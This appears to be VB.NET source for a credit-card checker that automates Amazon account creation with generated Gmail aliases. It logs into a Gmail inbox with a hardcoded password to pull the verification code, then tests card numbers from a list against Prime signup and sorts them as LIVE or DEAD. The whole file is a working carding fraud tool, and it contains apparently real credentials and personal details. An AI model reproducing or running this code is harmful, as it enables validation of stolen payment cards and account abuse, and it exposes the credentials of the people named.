1v1BtcAS

1  Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
2        Timer1.Start()
3    End Sub
4 Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
5        Timer1.stop()
6    End Sub
7
8Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
9        If (Me.WebBrowser1.ReadyState = WebBrowserReadyState.Complete) Then
10            Try
11                WebBrowser1.Navigate("https://www.amazon.com/ap/register?showRememberMe=true&openid.pape.max_auth_age=900&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&pageId=usflex&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fprimecentral%3Fie%3DUTF8%26ref_%3Dya_d_c_prime&prevRID=NX9DH94ZZADPEDZ75FGQ&openid.assoc_handle=usflex&openid.mode=checkid_setup&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&prepopulatedLoginId=&failedSignInCount=0&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0")
12                ' rmail = "pacheoas912@gmail.com"
13
14                Delay(5)
15                Dim str As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
16                Dim random As New Random
17                Dim builder As New StringBuilder
18                Dim num3 As Integer = 1
19                Do
20                    Dim startIndex As Integer = random.Next(0, &H23)
21                    builder.Append(str.Substring(startIndex, 1))
22                    num3 += 1
23                Loop While (num3 <= 4)
24                Dim random2 As New Random
25                'Status.Text = "danielas9" + "+" & builder.ToString & "@gmail.com"
26                Dim m, cnt, ccs, cc
27                mail = "jdvc0398" + "+" & builder.ToString & "@gmail.com"
28                m = Split(mail, "@")
29                rmail = m(0)
30                ext = m(1)
31                cn = Len(rmail) - 2
32                cnt = Len(rmail) - 2
33
34                If cn > 8 Then
35                    cn = 8
36                End If
37
38                Dim max, min, puntos, rand
39                max = cn
40                min = 3
41                puntos = Int((max - min + 1) * Rnd() + min)
42                For i = 0 To puntos Step 1
43                    Dim ends, starts, numa
44                    rand = Int((cnt - 1 + 1) * Rnd() + 1)
45                    numa = ((Len(rmail) - 1) - rand)
46
47                    ends = Mid(rmail, rand + 1, numa + 1)
48                    starts = Mid(rmail, 1, rand)
49                    rmail = starts + "." + ends
50                    rmail = Replace(rmail, "..", ".")
51
52                Next
53                rmail = Replace(rmail, "..", ".")
54                rmail = rmail + "@" + ext
55
56                'ccs = WScript.Arguments(2)
57                'cc = Split(ccs, vbCrLf)
58                'Dim ccnumber
59                'ccnumber = 0
60
61
62                WebBrowser1.Document.All.Item("ap_customer_name").SetAttribute("value", "Daniela pastrana")
63                WebBrowser1.Document.All.Item("ap_email").SetAttribute("value", rmail)
64                WebBrowser1.Document.All.Item("ap_password").SetAttribute("value", "01991ju182A")
65                WebBrowser1.Document.All.Item("ap_password_check").SetAttribute("value", "01991ju182A")
66                WebBrowser1.Document.All.Item("continue").InvokeMember("click")
67                Status.Text = "Registrando"
68
69                Delay(1)
70                If InStr(WebBrowser1.Document.Body.InnerHtml, "There was a problem") Then
71                    Status.Text = "Captcha, cuenta con 12 segundos"
72                    WebBrowser1.Visible = True
73                    TextBox4.Visible = True
74                    Button3.Visible = True
75                    Labelcapt.Visible = True
76                    Timercapt.Enabled = True
77                    WebBrowser1.Document.All.Item("ap_password").SetAttribute("value", "01991ju182A")
78                    WebBrowser1.Document.All.Item("ap_password_check").SetAttribute("value", "01991ju182A")
79                    WebBrowser1.Document.GetElementById("auth-captcha-image-container").Focus()
80                    Delay(12)
81                End If
82                '' WebBrowser1.Document.GetElementById("ctl00_ContentPlaceHolder1_lstYears1").SetAttribute("value", year)
83                'If InStr(WebBrowser1.Document.Body.InnerHtml, "Verify email address") = 0 Then
84                If Me.WebBrowser1.DocumentText.Contains("Verify email address") Then
85                    Status.Text = "Verificando Email"
86                    Dim obj = New Object()
87                    obj = CreateObject("internetexplorer.application")
88                    obj.Top = 0
89                    obj.Left = 0
90                    obj.Width = 800
91                    obj.Height = 600
92                    obj.AddressBar = 0
93                    obj.StatusBar = 0
94                    obj.Toolbar = 0
95                    obj.Visible = True
96                    obj.Navigate("https://accounts.google.com/signin/v2/identifier?continue=https%3A%2F%2Fmail.google.com%2Fmail%2F&service=mail&sacu=1&rip=1&flowName=GlifWebSignIn&flowEntry=ServiceLogin")
97                    Dim code
98                    Dim splitcode
99                    Dim classcode
100                    Dim finalcode
101                    Dim incurl
102                    Dim a
103                    Dim b
104                    Delay(7)
105                    If InStr(obj.document.body.innerHtml, "Ir a Gmail") Then
106                        obj.document.all.item("identifierId").value = "jdvc0398@gmail.com"
107                        obj.document.all.item("identifierNext").click
108                        Delay(2)
109                        obj.Document.getElementsByName("password")(0).value = "juandiegok123"
110                        obj.document.all.item("passwordNext").click
111                        Delay(5)
112                    End If
113
114                    incurl = obj.document.location.href
115                    If incurl = "https://mail.google.com/mail/u/0/#inbox" Then
116
117                        For Each btn In obj.Document.getElementsByClassName("zA zE")
118                            If btn.tabindex = "-1" Then
119                                btn.Click()
120                                Exit For
121                            End If
122                        Next
123                        Delay(5)
124                        code = obj.Document.getElementsByClassName("a3s")(0).innerHTML
125                        a = Split(code, "id=""m_")
126                        splitcode = a(1)
127                        b = Split(splitcode, "container")
128                        classcode = b(0)
129
130                        code = "m_" & classcode & "otp"
131
132                        Delay(4)
133
134
135                        For Each btn In obj.Document.getElementsByClassName(code)
136                            finalcode = btn.innerText
137                        Next
138                        Status.Text = "Obteniendo codigo"
139                        Delay(2)
140
141                        WebBrowser1.Document.All.Item("code").SetAttribute("value", finalcode)
142                        Delay(2)
143                        Dim theElementCollection As HtmlElementCollection = Nothing
144                        theElementCollection = WebBrowser1.Document.GetElementsByTagName("input")
145                        For Each curElement As HtmlElement In theElementCollection
146                            If InStr(curElement.GetAttribute("classname").ToString, "a-button-input") Then
147                                curElement.InvokeMember("Click")
148                                Exit For
149                            End If
150                        Next
151                        Status.Text = "Codigo obtenido"
152                        ' WebBrowser1.Document.getElementsByClassName("a-button-input").click
153                        Delay(5)
154                        obj.quit
155                    Else
156                    End If
157                    'ElseIf Me.WebBrowser1.DocumentText.Contains("Hi, Jesus") Then
158                    '    MsgBox("21")
159                End If
160                Status.Text = "Ingresando direccion"
161                Delay(3)
162                WebBrowser1.Navigate("https://www.amazon.com/a/addresses/add?ref=ya_address_book_add_button")
163                Delay(3)
164                WebBrowser1.Document.All.Item("address-ui-widgets-enterAddressFullName").SetAttribute("value", "Jesus tovar")
165                WebBrowser1.Document.All.Item("address-ui-widgets-enterAddressLine1").SetAttribute("value", "1670 NW 82ND AVE")
166                WebBrowser1.Document.All.Item("address-ui-widgets-enterAddressCity").SetAttribute("value", "doral")
167                WebBrowser1.Document.All.Item("address-ui-widgets-enterAddressStateOrRegion").SetAttribute("value", "florida")
168                WebBrowser1.Document.All.Item("address-ui-widgets-enterAddressPostalCode").SetAttribute("value", "33191-1045")
169                WebBrowser1.Document.All.Item("address-ui-widgets-enterAddressPhoneNumber").SetAttribute("value", "78812217")
170                For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
171                    If element.GetAttribute("classname") = "a-button-input" Then
172                        element.InvokeMember("click")
173                    End If
174                Next
175                Dim lineas As String() = TextBox1.Lines()
176                Dim q() As String
177                q = Split(lineas(&B1 - "1"), "|")
178                separacion = q(0)
179                If q(1) = "01" Then
180                    mes = "1"
181                ElseIf q(1) = "02" Then
182                    mes = "2"
183                ElseIf q(1) = "03" Then
184                    mes = "3"
185                ElseIf q(1) = "04" Then
186                    mes = "4"
187                ElseIf q(1) = "05" Then
188                    mes = "5"
189                ElseIf q(1) = "06" Then
190                    mes = "6"
191                ElseIf q(1) = "07" Then
192                    mes = "7"
193                ElseIf q(1) = "08" Then
194                    mes = "8"
195                ElseIf q(1) = "09" Then
196                    mes = "9"
197                ElseIf q(1) = "10" Then
198                    mes = "10"
199                ElseIf q(1) = "11" Then
200                    mes = "11"
201                ElseIf q(1) = "12" Then
202                    mes = "12"
203                End If
204                year = q(2)
205
206                Status.Text = "Ingresando datos generados"
207                Delay(8)
208                WebBrowser1.Navigate("https://www.amazon.com/amazonprime?_encoding=UTF8&ref_=pc_promo_nonprime")
209                Delay(3)
210                For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
211                    If element.GetAttribute("classname") = "a-button-input" Then
212                        element.InvokeMember("click")
213                    End If
214                Next
215                Delay(5)
216                For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
217                    If element.GetAttribute("name") = "ppw-accountHolderName" Then
218                        element.SetAttribute("value", "juan osorio")
219                    End If
220                Next
221                For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
222                    If element.GetAttribute("name") = "addCreditCardNumber" Then
223                        element.SetAttribute("value", separacion)
224                    End If
225                Next
226                For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("select")
227                    If element.GetAttribute("name") = "ppw-expirationDate_month" Then
228                        element.SetAttribute("value", mes)
229                    End If
230                Next
231                For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("select")
232                    If element.GetAttribute("name") = "ppw-expirationDate_year" Then
233                        element.SetAttribute("value", year)
234                    End If
235                Next
236                For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
237                    If element.GetAttribute("name") = "ppw-widgetEvent:AddCreditCardEvent" Then
238                        element.InvokeMember("Click")
239                    End If
240                Next
241                Delay(4)
242                For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
243                    If element.GetAttribute("name") = "ppw-widgetEvent:SelectAddressEvent" Then
244                        element.InvokeMember("Click")
245                    End If
246                Next
247                Delay(4)
248                Dim theElementCollection2 As HtmlElementCollection = Nothing
249                theElementCollection2 = WebBrowser1.Document.GetElementsByTagName("input")
250                For Each curElement As HtmlElement In theElementCollection2
251                    If InStr(curElement.GetAttribute("classname").ToString, "a-button-input") Then
252                        curElement.InvokeMember("Click")
253                        Exit For
254                    End If
255                Next
256                Delay(5)
257                Dim url As String = WebBrowser1.Url.AbsoluteUri
258                Status.Text = url
259                Dim linea_actual As String() = TextBox1.Lines()
260                line = linea_actual(&B1 - "1")
261                If url = "https://www.amazon.com/gp/prime/pipeline/membersignup" Then
262                    Status.Text = "Dead"
263                    Me.ListBox2.Items.Add("✗ DEAD " + line)
264                    Dim linea As ULong = 1
265                    Dim lineas2 As List(Of String) = TextBox1.Lines.ToList : lineas2.RemoveAt(linea - 1)
266                    TextBox1.Lines = lineas2.ToArray
267                    'Call retry(getcc(cc(ccnumber)), getmonth(cc(ccnumber)), getyear(cc(ccnumber)), cc, ccnumber)
268                    retry()
269                Else
270                    Status.Text = "Live"
271                    Me.ListBox1.Items.Add("✓ LIVE " + line)
272                    Dim linea As ULong = 1
273                    Dim lineas2 As List(Of String) = TextBox1.Lines.ToList : lineas2.RemoveAt(linea - 1)
274                    TextBox1.Lines = lineas2.ToArray
275                End If
276            Catch exception1 As Exception
277                ProjectData.SetProjectError(exception1)
278                Dim exception As Exception = exception1
279                ProjectData.ClearProjectError()
280            End Try
281        End If
282    End Sub
283    Private Function retry()
284        Dim lineas As String() = TextBox1.Lines()
285        Dim q() As String
286        q = Split(lineas(&B1 - "1"), "|")
287        separacion = q(0)
288        If q(1) = "01" Then
289            mes = "1"
290        ElseIf q(1) = "02" Then
291            mes = "2"
292        ElseIf q(1) = "03" Then
293            mes = "3"
294        ElseIf q(1) = "04" Then
295            mes = "4"
296        ElseIf q(1) = "05" Then
297            mes = "5"
298        ElseIf q(1) = "06" Then
299            mes = "6"
300        ElseIf q(1) = "07" Then
301            mes = "7"
302        ElseIf q(1) = "08" Then
303            mes = "8"
304        ElseIf q(1) = "09" Then
305            mes = "9"
306        ElseIf q(1) = "10" Then
307            mes = "10"
308        ElseIf q(1) = "11" Then
309            mes = "11"
310        ElseIf q(1) = "12" Then
311            mes = "12"
312        End If
313        year = q(2)
314        Dim theElementCollection As HtmlElementCollection = Nothing
315        theElementCollection = WebBrowser1.Document.GetElementsByTagName("input")
316        For Each curElement As HtmlElement In theElementCollection
317            If InStr(curElement.GetAttribute("classname").ToString, "pmts-link-button aui-beacon") Then
318                curElement.InvokeMember("Click")
319                Exit For
320            End If
321        Next
322        Delay(2)
323        Dim theElementCollection2 As HtmlElementCollection = Nothing
324        theElementCollection2 = WebBrowser1.Document.GetElementsByTagName("a")
325        For Each curElement As HtmlElement In theElementCollection2
326            If InStr(curElement.GetAttribute("classname").ToString, "a-expander-header a-declarative a-expander-inline-header pmts-add-new-card a-spacing-base a-link-expander") Then
327                curElement.InvokeMember("Click")
328                Exit For
329            End If
330        Next
331        Delay(2)
332        For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
333            If element.GetAttribute("name") = "ppw-accountHolderName" Then
334                element.SetAttribute("value", "juan osorio")
335            End If
336        Next
337        For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
338            If element.GetAttribute("name") = "addCreditCardNumber" Then
339                element.SetAttribute("value", separacion)
340            End If
341        Next
342        For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("select")
343            If element.GetAttribute("name") = "ppw-expirationDate_month" Then
344                element.SetAttribute("value", mes)
345            End If
346        Next
347        For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("select")
348            If element.GetAttribute("name") = "ppw-expirationDate_year" Then
349                element.SetAttribute("value", year)
350            End If
351        Next
352        For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
353            If element.GetAttribute("name") = "ppw-widgetEvent:AddCreditCardEvent" Then
354                element.InvokeMember("Click")
355            End If
356        Next
357        Delay(3)
358        For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
359            If element.GetAttribute("name") = "ppw-widgetEvent:SelectAddressEvent" Then
360                element.InvokeMember("Click")
361            End If
362        Next
363        Delay(3)
364        For Each element As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
365            If element.GetAttribute("name") = "ppw-widgetEvent:PreferencePaymentOptionSelectionEvent" Then
366                element.InvokeMember("Click")
367            End If
368        Next
369        Delay(4)
370        For Each curElement As HtmlElement In theElementCollection
371            If InStr(curElement.GetAttribute("classname").ToString, "a-button-input") Then
372                curElement.InvokeMember("Click")
373                Exit For
374            End If
375        Next
376        Delay(4)
377        Dim url As String = WebBrowser1.Url.AbsoluteUri
378        Status.Text = url
379        Dim linea_actual As String() = TextBox1.Lines()
380        line = linea_actual(&B1 - "1")
381        If url = "https://www.amazon.com/gp/prime/pipeline/membersignup" Then
382            Status.Text = "Dead"
383            'Call retry(getcc(cc(ccnumber)), getmonth(cc(ccnumber)), getyear(cc(ccnumber)), cc, ccnumber)
384            Me.ListBox2.Items.Add("✗ DEAD " + line)
385            Dim linea As ULong = 1
386            Dim lineas2 As List(Of String) = TextBox1.Lines.ToList : lineas2.RemoveAt(linea - 1)
387            TextBox1.Lines = lineas2.ToArray
388            retry()
389        Else
390            Status.Text = "Live"
391            Me.ListBox1.Items.Add("✓ LIVE " + line)
392            Dim linea As ULong = 1
393            Dim lineas2 As List(Of String) = TextBox1.Lines.ToList : lineas2.RemoveAt(linea - 1)
394            TextBox1.Lines = lineas2.ToArray
395        End If
396    End Function